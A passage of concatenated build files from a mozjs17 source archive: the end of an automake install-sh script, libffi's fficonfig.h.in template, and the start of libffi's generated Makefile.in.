installing files. -g GROUP $chgrpprog installed files to GROUP. -m MODE $chmodprog installed files to MODE. -o USER $chownprog installed files to USER. -s $stripprog installed files. -t DIRECTORY install into DIRECTORY. -T report an error if DSTFILE is a directory. --help display this help and exit. --version display version info and exit. Environment variables override the default commands: CHGRPPROG CHMODPROG CHOWNPROG CPPROG MKDIRPROG MVPROG RMPROG STRIPPROG " while test -n "$1"; do case $1 in -c) shift continue;; -d) dir_arg=true shift continue;; -g) chgrpcmd="$chgrpprog $2" shift shift continue;; --help) echo "$usage"; exit 0;; -m) chmodcmd="$chmodprog $2" shift shift continue;; -o) chowncmd="$chownprog $2" shift shift continue;; -s) stripcmd=$stripprog shift continue;; -t) dstarg=$2 shift shift continue;; -T) no_target_directory=true shift continue;; --version) echo "$0 $scriptversion"; exit 0;; *) # When -d is used, all remaining arguments are directories to create. # When -t is used, the destination is already specified. test -n "$dir_arg$dstarg" && break # Otherwise, the last argument is the destination. Remove it from $@. for arg do if test -n "$dstarg"; then # $@ is not empty: it contains at least $arg. set fnord "$@" "$dstarg" shift # fnord fi shift # arg dstarg=$arg done break;; esac done if test -z "$1"; then if test -z "$dir_arg"; then echo "$0: no input file specified." >&2 exit 1 fi # It's OK to call `install-sh -d' without argument. # This can happen when creating conditional directories. exit 0 fi for src do # Protect names starting with `-'. case $src in -*) src=./$src ;; esac if test -n "$dir_arg"; then dst=$src src= if test -d "$dst"; then mkdircmd=: chmodcmd= else mkdircmd=$mkdirprog fi else # Waiting for this to be detected by the "$cpprog $src $dsttmp" command # might cause directories to be created, which would be especially bad # if $src (and thus $dsttmp) contains '*'. if test ! -f "$src" && test ! -d "$src"; then echo "$0: $src does not exist." >&2 exit 1 fi if test -z "$dstarg"; then echo "$0: no destination specified." >&2 exit 1 fi dst=$dstarg # Protect names starting with `-'. case $dst in -*) dst=./$dst ;; esac # If destination is a directory, append the input filename; won't work # if double slashes aren't ignored. if test -d "$dst"; then if test -n "$no_target_directory"; then echo "$0: $dstarg: Is a directory" >&2 exit 1 fi dst=$dst/`basename "$src"` fi fi # This sed command emulates the dirname command. dstdir=`echo "$dst" | sed -e 's,/*$,,;s,[^/]*$,,;s,/*$,,;s,^$,.,'` # Make sure that the destination directory exists. # Skip lots of stat calls in the usual case. if test ! -d "$dstdir"; then defaultIFS=' ' IFS="${IFS-$defaultIFS}" oIFS=$IFS # Some sh's can't handle IFS=/ for some reason. IFS='%' set x `echo "$dstdir" | sed -e 's@/@%@g' -e 's@^%@/@'` shift IFS=$oIFS pathcomp= while test $# -ne 0 ; do pathcomp=$pathcomp$1 shift if test ! -d "$pathcomp"; then $mkdirprog "$pathcomp" # mkdir can fail with a `File exist' error in case several # install-sh are creating the directory concurrently. This # is OK. test -d "$pathcomp" || exit fi pathcomp=$pathcomp/ done fi if test -n "$dir_arg"; then $doit $mkdircmd "$dst" \ && { test -z "$chowncmd" || $doit $chowncmd "$dst"; } \ && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } \ && { test -z "$stripcmd" || $doit $stripcmd "$dst"; } \ && { test -z "$chmodcmd" || $doit $chmodcmd "$dst"; } else dstfile=`basename "$dst"` # Make a couple of temp file names in the proper directory. dsttmp=$dstdir/_inst.$$_ rmtmp=$dstdir/_rm.$$_ # Trap to clean up those temp files at exit. trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0 trap '(exit $?); exit' 1 2 13 15 # Copy the file name to the temp name. $doit $cpprog "$src" "$dsttmp" && # and set any options; do chmod last to preserve setuid bits. # # If any of these fail, we abort the whole thing. If we want to # ignore errors from any of these, just make sure not to ignore # errors from the above "$doit $cpprog $src $dsttmp" command. # { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } \ && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } \ && { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } \ && { test -z "$chmodcmd" || $doit $chmodcmd "$dsttmp"; } && # Now rename the file to the real destination. { $doit $mvcmd -f "$dsttmp" "$dstdir/$dstfile" 2>/dev/null \ || { # The rename failed, perhaps because mv can't rename something else # to itself, or perhaps because mv is so ancient that it does not # support -f. # Now remove or move aside any old file at destination location. # We try this two ways since rm can't unlink itself on some # systems and the destination file might be busy for other # reasons. In this case, the final cleanup might fail but the new # file should still install successfully. { if test -f "$dstdir/$dstfile"; then $doit $rmcmd -f "$dstdir/$dstfile" 2>/dev/null \ || $doit $mvcmd -f "$dstdir/$dstfile" "$rmtmp" 2>/dev/null \ || { echo "$0: cannot unlink or rename $dstdir/$dstfile" >&2 (exit 1); exit 1 } else : fi } && # Now rename the file to the real destination. $doit $mvcmd "$dsttmp" "$dstdir/$dstfile" } } fi || { (exit 1); exit 1; } done # The final little trick to "correctly" pass the exit status to the exit trap. { (exit 0); exit 0 } # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-end: "$" # End: mozjs17.0.0/js/src/ctypes/libffi/fficonfig.h.in0000664000175000017500000001220112106270662021251 0ustar sstanglsstangl/* fficonfig.h.in. Generated from configure.ac by autoheader. */ /* Define if building universal (internal helper macro) */ #undef AC_APPLE_UNIVERSAL_BUILD /* Define to one of `_getb67', `GETB67', `getb67' for Cray-2 and Cray-YMP systems. This function is required for `alloca.c' support on those systems. */ #undef CRAY_STACKSEG_END /* Define to 1 if using `alloca.c'. */ #undef C_ALLOCA /* Define to the flags needed for the .section .eh_frame directive. */ #undef EH_FRAME_FLAGS /* Define this if you want extra debugging. */ #undef FFI_DEBUG /* Cannot use malloc on this target, so, we revert to alternative means */ #undef FFI_MMAP_EXEC_WRIT /* Define this is you do not want support for the raw API. */ #undef FFI_NO_RAW_API /* Define this is you do not want support for aggregate types. */ #undef FFI_NO_STRUCTS /* Define to 1 if you have `alloca', as a function or macro. */ #undef HAVE_ALLOCA /* Define to 1 if you have and it should be used (not on Ultrix). */ #undef HAVE_ALLOCA_H /* Define if your assembler supports .ascii. */ #undef HAVE_AS_ASCII_PSEUDO_OP /* Define if your assembler supports .cfi_* directives. */ #undef HAVE_AS_CFI_PSEUDO_OP /* Define if your assembler supports .register. */ #undef HAVE_AS_REGISTER_PSEUDO_OP /* Define if your assembler and linker support unaligned PC relative relocs. */ #undef HAVE_AS_SPARC_UA_PCREL /* Define if your assembler supports .string. */ #undef HAVE_AS_STRING_PSEUDO_OP /* Define if your assembler supports unwind section type. */ #undef HAVE_AS_X86_64_UNWIND_SECTION_TYPE /* Define if your assembler supports PC relative relocs. */ #undef HAVE_AS_X86_PCREL /* Define to 1 if you have the header file. */ #undef HAVE_DLFCN_H /* Define if __attribute__((visibility("hidden"))) is supported. */ #undef HAVE_HIDDEN_VISIBILITY_ATTRIBUTE /* Define to 1 if you have the header file. */ #undef HAVE_INTTYPES_H /* Define if you have the long double type and it is bigger than a double */ #undef HAVE_LONG_DOUBLE /* Define to 1 if you have the `memcpy' function. */ #undef HAVE_MEMCPY /* Define to 1 if you have the header file. */ #undef HAVE_MEMORY_H /* Define to 1 if you have the `mmap' function. */ #undef HAVE_MMAP /* Define if mmap with MAP_ANON(YMOUS) works. */ #undef HAVE_MMAP_ANON /* Define if mmap of /dev/zero works. */ #undef HAVE_MMAP_DEV_ZERO /* Define if read-only mmap of a plain file works. */ #undef HAVE_MMAP_FILE /* Define if .eh_frame sections should be read-only. */ #undef HAVE_RO_EH_FRAME /* Define to 1 if you have the header file. */ #undef HAVE_STDINT_H /* Define to 1 if you have the header file. */ #undef HAVE_STDLIB_H /* Define to 1 if you have the header file. */ #undef HAVE_STRINGS_H /* Define to 1 if you have the header file. */ #undef HAVE_STRING_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_MMAN_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_STAT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TYPES_H /* Define to 1 if you have the header file. */ #undef HAVE_UNISTD_H /* Define to the sub-directory in which libtool stores uninstalled libraries. */ #undef LT_OBJDIR /* Define to 1 if your C compiler doesn't accept -c and -o together. */ #undef NO_MINUS_C_MINUS_O /* Name of package */ #undef PACKAGE /* Define to the address where bug reports for this package should be sent. */ #undef PACKAGE_BUGREPORT /* Define to the full name of this package. */ #undef PACKAGE_NAME /* Define to the full name and version of this package. */ #undef PACKAGE_STRING /* Define to the one symbol short name of this package. */ #undef PACKAGE_TARNAME /* Define to the home page for this package. */ #undef PACKAGE_URL /* Define to the version of this package. */ #undef PACKAGE_VERSION /* The size of `double', as computed by sizeof. */ #undef SIZEOF_DOUBLE /* The size of `long double', as computed by sizeof. */ #undef SIZEOF_LONG_DOUBLE /* If using the C implementation of alloca, define if you know the direction of stack growth for your system; otherwise it will be automatically deduced at runtime. STACK_DIRECTION > 0 => grows toward higher addresses STACK_DIRECTION < 0 => grows toward lower addresses STACK_DIRECTION = 0 => direction of growth unknown */ #undef STACK_DIRECTION /* Define to 1 if you have the ANSI C header files. */ #undef STDC_HEADERS /* Define this if you are using Purify and want to suppress spurious messages. */ #undef USING_PURIFY /* Version number of package */ #undef VERSION /* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel). */ #if defined AC_APPLE_UNIVERSAL_BUILD # if defined __BIG_ENDIAN__ # define WORDS_BIGENDIAN 1 # endif #else # ifndef WORDS_BIGENDIAN # undef WORDS_BIGENDIAN # endif #endif #ifdef HAVE_HIDDEN_VISIBILITY_ATTRIBUTE #ifdef LIBFFI_ASM #define FFI_HIDDEN(name) .hidden name #else #define FFI_HIDDEN __attribute__ ((visibility ("hidden"))) #endif #else #ifdef LIBFFI_ASM #define FFI_HIDDEN(name) #else #define FFI_HIDDEN #endif #endif mozjs17.0.0/js/src/ctypes/libffi/Makefile.in0000664000175000017500000021175012106270662020620 0ustar sstanglsstangl# Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, # Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ VPATH = @srcdir@ pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ target_triplet = @target@ @MIPS_TRUE@am__append_1 = src/mips/ffi.c src/mips/o32.S src/mips/n32.S @X86_TRUE@am__append_2 = src/x86/ffi.c src/x86/sysv.S @X86_FREEBSD_TRUE@am__append_3 = src/x86/ffi.c src/x86/freebsd.S @X86_WIN32_TRUE@am__append_4 = src/x86/ffi.c src/x86/win32.S @X86_WIN64_TRUE@am__append_5 = src/x86/ffi.c src/x86/win64.S @X86_DARWIN_TRUE@am__append_6 = src/x86/ffi.c src/x86/darwin.S src/x86/ffi64.c src/x86/darwin64.S @SPARC_TRUE@am__append_7 = src/sparc/ffi.c src/sparc/v8.S src/sparc/v9.S @ALPHA_TRUE@am__append_8 = src/alpha/ffi.c src/alpha/osf.S @IA64_TRUE@am__append_9 = src/ia64/ffi.c src/ia64/unix.S @M32R_TRUE@am__append_10 = src/m32r/sysv.S src/m32r/ffi.c @M68K_TRUE@am__append_11 = src/m68k/ffi.c src/m68k/sysv.S @POWERPC_TRUE@am__append_12 = src/powerpc/ffi.c src/powerpc/sysv.S src/powerpc/ppc_closure.S src/powerpc/linux64.S src/powerpc/linux64_closure.S @POWERPC_AIX_TRUE@am__append_13 = src/powerpc/ffi_darwin.c src/powerpc/aix.S src/powerpc/aix_closure.S @POWERPC_DARWIN_TRUE@am__append_14 = src/powerpc/ffi_darwin.c src/powerpc/darwin.S src/powerpc/darwin_closure.S @POWERPC_FREEBSD_TRUE@am__append_15 = src/powerpc/ffi.c src/powerpc/sysv.S src/powerpc/ppc_closure.S @ARM_TRUE@am__append_16 = src/arm/sysv.S src/arm/ffi.c @AVR32_TRUE@am__append_17 = src/avr32/sysv.S src/avr32/ffi.c @LIBFFI_CRIS_TRUE@am__append_18 = src/cris/sysv.S src/cris/ffi.c @FRV_TRUE@am__append_19 = src/frv/eabi.S src/frv/ffi.c @MOXIE_TRUE@am__append_20 = src/moxie/eabi.S src/moxie/ffi.c @S390_TRUE@am__append_21 = src/s390/sysv.S src/s390/ffi.c @X86_64_TRUE@am__append_22 = src/x86/ffi64.c src/x86/unix64.S src/x86/ffi.c src/x86/sysv.S @SH_TRUE@am__append_23 = src/sh/sysv.S src/sh/ffi.c @SH64_TRUE@am__append_24 = src/sh64/sysv.S src/sh64/ffi.c @PA_LINUX_TRUE@am__append_25 = src/pa/linux.S src/pa/ffi.c @PA_HPUX_TRUE@am__append_26 = src/pa/hpux32.S src/pa/ffi.c # Build debug. Define FFI_DEBUG on the commandline so that, when building with # MSVC, it can link against the debug CRT. @FFI_DEBUG_TRUE@am__append_27 = -DFFI_DEBUG # Build opt. @FFI_DEBUG_FALSE@am__append_28 = -O2 subdir = . DIST_COMMON = README $(am__configure_deps) $(srcdir)/Makefile.am \ $(srcdir)/Makefile.in $(srcdir)/doc/stamp-vti \ $(srcdir)/doc/version.texi $(srcdir)/fficonfig.h.in \ $(srcdir)/libffi.pc.in $(top_srcdir)/configure ChangeLog \ compile config.guess config.sub depcomp install-sh ltmain.sh \ mdate-sh missing texinfo.tex ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \ $(top_srcdir)/configure.ac am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \ configure.lineno config.status.lineno mkinstalldirs = $(install_sh) -d CONFIG_HEADER = fficonfig.h CONFIG_CLEAN_FILES = libffi.pc CONFIG_CLEAN_VPATH_FILES = am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; am__vpath_adj = case $$p in \ $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ *) f=$$p;; \ esac; am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; am__install_max = 40 am__nobase_strip_setup = \ srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'` am__nobase_strip = \ for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||" am__nobase_list = $(am__nobase_strip_setup); \ for p in $$list; do echo "$$p $$p"; done | \ sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \ $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \ if (++n[$$2] == $(am__install_max)) \ { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \ END { for (dir in files) print dir, files[dir] }' am__base_list = \ sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \ sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' am__installdirs = "$(DESTDIR)$(libdir)" "$(DESTDIR)$(infodir)" \ "$(DESTDIR)$(pkgconfigdir)" LTLIBRARIES = $(lib_LTLIBRARIES) $(noinst_LTLIBRARIES) libffi_la_LIBADD = am__dirstamp = $(am__leading_dot)dirstamp am_libffi_la_OBJECTS = src/debug.lo src/prep_cif.lo src/types.lo \ src/raw_api.lo src/java_raw_api.lo src/closures.lo @MIPS_TRUE@am__objects_1 = src/mips/ffi.lo src/mips/o32.lo \ @MIPS_TRUE@ src/mips/n32.lo @X86_TRUE@am__objects_2 = src/x86/ffi.lo src/x86/sysv.lo @X86_FREEBSD_TRUE@am__objects_3 = src/x86/ffi.lo src/x86/freebsd.lo @X86_WIN32_TRUE@am__objects_4 = src/x86/ffi.lo src/x86/win32.lo @X86_WIN64_TRUE@am__objects_5 = src/x86/ffi.lo src/x86/win64.lo @X86_DARWIN_TRUE@am__objects_6 = src/x86/ffi.lo src/x86/darwin.lo \ @X86_DARWIN_TRUE@ src/x86/ffi64.lo src/x86/darwin64.lo @SPARC_TRUE@am__objects_7 = src/sparc/ffi.lo src/sparc/v8.lo \ @SPARC_TRUE@ src/sparc/v9.lo @ALPHA_TRUE@am__objects_8 = src/alpha/ffi.lo src/alpha/osf.lo @IA64_TRUE@am__objects_9 = src/ia64/ffi.lo src/ia64/unix.lo @M32R_TRUE@am__objects_10 = src/m32r/sysv.lo src/m32r/ffi.lo @M68K_TRUE@am__objects_11 = src/m68k/ffi.lo src/m68k/sysv.lo @POWERPC_TRUE@am__objects_12 = src/powerpc/ffi.lo src/powerpc/sysv.lo \ @POWERPC_TRUE@ src/powerpc/ppc_closure.lo \ @POWERPC_TRUE@ src/powerpc/linux64.lo \ @POWERPC_TRUE@ src/powerpc/linux64_closure.lo @POWERPC_AIX_TRUE@am__objects_13 = src/powerpc/ffi_darwin.lo \ @POWERPC_AIX_TRUE@ src/powerpc/aix.lo \ @POWERPC_AIX_TRUE@ src/powerpc/aix_closure.lo @POWERPC_DARWIN_TRUE@am__objects_14 = src/powerpc/ffi_darwin.lo \ @POWERPC_DARWIN_TRUE@ src/powerpc/darwin.lo \ @POWERPC_DARWIN_TRUE@ src/powerpc/darwin_closure.lo @POWERPC_FREEBSD_TRUE@am__objects_15 = src/powerpc/ffi.lo \ @POWERPC_FREEBSD_TRUE@ src/powerpc/sysv.lo \ @POWERPC_FREEBSD_TRUE@ src/powerpc/ppc_closure.lo @ARM_TRUE@am__objects_16 = src/arm/sysv.lo src/arm/ffi.lo @AVR32_TRUE@am__objects_17 = src/avr32/sysv.lo src/avr32/ffi.lo @LIBFFI_CRIS_TRUE@am__objects_18 = src/cris/sysv.lo src/cris/ffi.lo @FRV_TRUE@am__objects_19 = src/frv/eabi.lo src/frv/ffi.lo @MOXIE_TRUE@am__objects_20 = src/moxie/eabi.lo src/moxie/ffi.lo @S390_TRUE@am__objects_21 = src/s390/sysv.lo src/s390/ffi.lo @X86_64_TRUE@am__objects_22 = src/x86/ffi64.lo src/x86/unix64.lo \ @X86_64_TRUE@ src/x86/ffi.lo src/x86/sysv.lo @SH_TRUE@am__objects_23 = src/sh/sysv.lo src/sh/ffi.lo @SH64_TRUE@am__objects_24 = src/sh64/sysv.lo src/sh64/ffi.lo @PA_LINUX_TRUE@am__objects_25 = src/pa/linux.lo src/pa/ffi.lo @PA_HPUX_TRUE@am__objects_26 = src/pa/hpux32.lo src/pa/ffi.lo nodist_libffi_la_OBJECTS = $(am__objects_1) $(am__objects_2) \ $(am__objects_3) $(am__objects_4) $(am__objects_5) \ $(am__objects_6) $(am__objects_7) $(am__objects_8) \ $(am__objects_9) $(am__objects_10) $(am__objects_11) \ $(am__objects_12) $(am__objects_13) $(am__objects_14) \ $(am__objects_15) $(am__objects_16) $(am__objects_17) \ $(am__objects_18) $(am__objects_19) $(am__objects_20) \ $(am__objects_21) $(am__objects_22) $(am__objects_23) \ $(am__objects_24) $(am__objects_25) $(am__objects_26) libffi_la_OBJECTS = $(am_libffi_la_OBJECTS) \ $(nodist_libffi_la_OBJECTS) libffi_la_LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) \ $(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ $(libffi_la_LDFLAGS) $(LDFLAGS) -o $@ libffi_convenience_la_LIBADD = am__objects_27 = src/debug.lo src/prep_cif.lo src/types.lo \ src/raw_api.lo src/java_raw_api.lo src/closures.lo am_libffi_convenience_la_OBJECTS = $(am__objects_27) am__objects_28 = $(am__objects_1) $(am__objects_2) $(am__objects_3) \ $(am__objects_4) $(am__objects_5) $(am__objects_6) \ $(am__objects_7) $(am__objects_8) $(am__objects_9) \ $(am__objects_10) $(am__objects_11) $(am__objects_12) \ $(am__objects_13) $(am__objects_14) $(am__objects_15) \ $(am__objects_16) $(am__objects_17) $(am__objects_18) \ $(am__objects_19) $(am__objects_20) $(am__objects_21) \ $(am__objects_22) $(am__objects_23) $(am__objects_24) \ $(am__objects_25) $(am__objects_26) nodist_libffi_convenience_la_OBJECTS = $(am__objects_28) libffi_convenience_la_OBJECTS = $(am_libffi_convenience_la_OBJECTS) \ $(nodist_libffi_convenience_la_OBJECTS) DEFAULT_INCLUDES = -I.@am__isrc@ depcomp = $(SHELL) $(top_srcdir)/depcomp am__depfiles_maybe = depfiles am__mv = mv -f CPPASCOMPILE = $(CCAS) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \ $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CCASFLAGS) $(CCASFLAGS) LTCPPASCOMPILE = $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) \ --mode=compile $(CCAS) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \ $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CCASFLAGS) $(CCASFLAGS) COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) LTCOMPILE = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) \ --mode=compile $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \ $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) CCLD = $(CC) LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) \ --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) \ $(LDFLAGS) -o $@ SOURCES = $(libffi_la_SOURCES) $(nodist_libffi_la_SOURCES) \ $(libffi_convenience_la_SOURCES) \ $(nodist_libffi_convenience_la_SOURCES) DIST_SOURCES = $(libffi_la_SOURCES) $(libffi_convenience_la_SOURCES) INFO_DEPS = am__TEXINFO_TEX_DIR = $(srcdir) DVIS = doc/libffi.dvi PDFS = doc/libffi.pdf PSS = doc/libffi.ps HTMLS = doc/libffi.html TEXINFOS = doc/libffi.texi TEXI2DVI = texi2dvi TEXI2PDF = $(TEXI2DVI) --pdf --batch MAKEINFOHTML = $(MAKEINFO) --html AM_MAKEINFOHTMLFLAGS = $(AM_MAKEINFOFLAGS) DVIPS = dvips RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \ html-recursive info-recursive install-data-recursive \ install-dvi-recursive install-exec-recursive \ install-html-recursive install-info-recursive \ install-pdf-recursive install-ps-recursive install-recursive \ installcheck-recursive installdirs-recursive pdf-recursive \ ps-recursive uninstall-recursive DATA = $(pkgconfig_DATA) RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \ distclean-recursive maintainer-clean-recursive AM_RECURSIVE_TARGETS = $(RECURSIVE_TARGETS:-recursive=) \ $(RECURSIVE_CLEAN_TARGETS:-recursive=) tags TAGS ctags CTAGS \ distdir dist dist-all distcheck ETAGS = etags CTAGS = ctags DIST_SUBDIRS = $(SUBDIRS) DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) distdir = $(PACKAGE)-$(VERSION) top_distdir = $(distdir) am__remove_distdir = \ { test ! -d "$(distdir)" \ || { find "$(distdir)" -type d ! -perm -200 -exec chmod u+w {} ';' \ && rm -fr "$(distdir)"; }; } am__relativize = \ dir0=`pwd`; \ sed_first='s,^\([^/]*\)/.*$$,\1,'; \ sed_rest='s,^[^/]*/*,,'; \ sed_last='s,^.*/\([^/]*\)$$,\1,'; \ sed_butlast='s,/*[^/]*$$,,'; \ while test -n "$$dir1"; do \ first=`echo "$$dir1" | sed -e "$$sed_first"`; \ if test "$$first" != "."; then \ if test "$$first" = ".."; then \ dir2=`echo "$$dir0" | sed -e "$$sed_last"`/"$$dir2"; \ dir0=`echo "$$dir0" | sed -e "$$sed_butlast"`; \ else \ first2=`echo "$$dir2" | sed -e "$$sed_first"`; \ if test "$$first2" = "$$first"; then \ dir2=`echo "$$dir2" | sed -e "$$sed_rest"`; \ else \ dir2="../$$dir2"; \ fi; \ dir0="$$dir0"/"$$first"; \ fi; \ fi; \ dir1=`echo "$$dir1" | sed -e "$$sed_rest"`; \ done; \ reldir="$$dir2" DIST_ARCHIVES = $(distdir).tar.gz GZIP_ENV = --best distuninstallcheck_listfiles = find . -type f -print distcleancheck_listfiles = find . -type f -print ACLOCAL = @ACLOCAL@ ALLOCA = @ALLOCA@ AMTAR = @AMTAR@ AM_LTLDFLAGS = @AM_LTLDFLAGS@ AM_RUNTESTFLAGS = @AM_RUNTESTFLAGS@ AR = @AR@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ CC = @CC@ CCAS = @CCAS@ CCASDEPMODE = @CCASDEPMODE@ CCASFLAGS = @CCASFLAGS@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CYGPATH_W = @CYGPATH_W@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ DSYMUTIL = @DSYMUTIL@ DUMPBIN = @DUMPBIN@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ EXEEXT = @EXEEXT@ FGREP = @FGREP@ GREP = @GREP@ HAVE_LONG_DOUBLE = @HAVE_LONG_DOUBLE@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ LD = @LD@ LDFLAGS = @LDFLAGS@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LIBTOOL = @LIBTOOL@ LIPO = @LIPO@ LN_S = @LN_S@ LTLIBOBJS = @LTLIBOBJS@ MAINT = @MAINT@ MAKEINFO = @MAKEINFO@ MKDIR_P = @MKDIR_P@ NM = @NM@ NMEDIT = @NMEDIT@ OBJDUMP = @OBJDUMP@ OBJEXT = @OBJEXT@ OTOOL = @OTOOL@ OTOOL64 = @OTOOL64@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ RANLIB = @RANLIB@ SED = @SED@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ TARGET = @TARGET@ TARGETDIR = @TARGETDIR@ VERSION = @VERSION@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_CC = @ac_ct_CC@ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ lt_ECHO = @lt_ECHO@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target = @target@ target_alias = @target_alias@ target_cpu = @target_cpu@ target_os = @target_os@ target_vendor = @target_vendor@ toolexecdir = @toolexecdir@ toolexeclibdir = @toolexeclibdir@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ AUTOMAKE_OPTIONS = foreign subdir-objects SUBDIRS = include testsuite man EXTRA_DIST = LICENSE ChangeLog.v1 ChangeLog.libgcj configure.host \ src/alpha/ffi.c src/alpha/osf.S src/alpha/ffitarget.h \ src/arm/ffi.c src/arm/sysv.S src/arm/ffitarget.h \ src/avr32/ffi.c src/avr32/sysv.S src/avr32/ffitarget.h \ src/cris/ffi.c src/cris/sysv.S src/cris/ffitarget.h \ src/ia64/ffi.c src/ia64/ffitarget.h src/ia64/ia64_flags.h \ src/ia64/unix.S \ src/mips/ffi.c 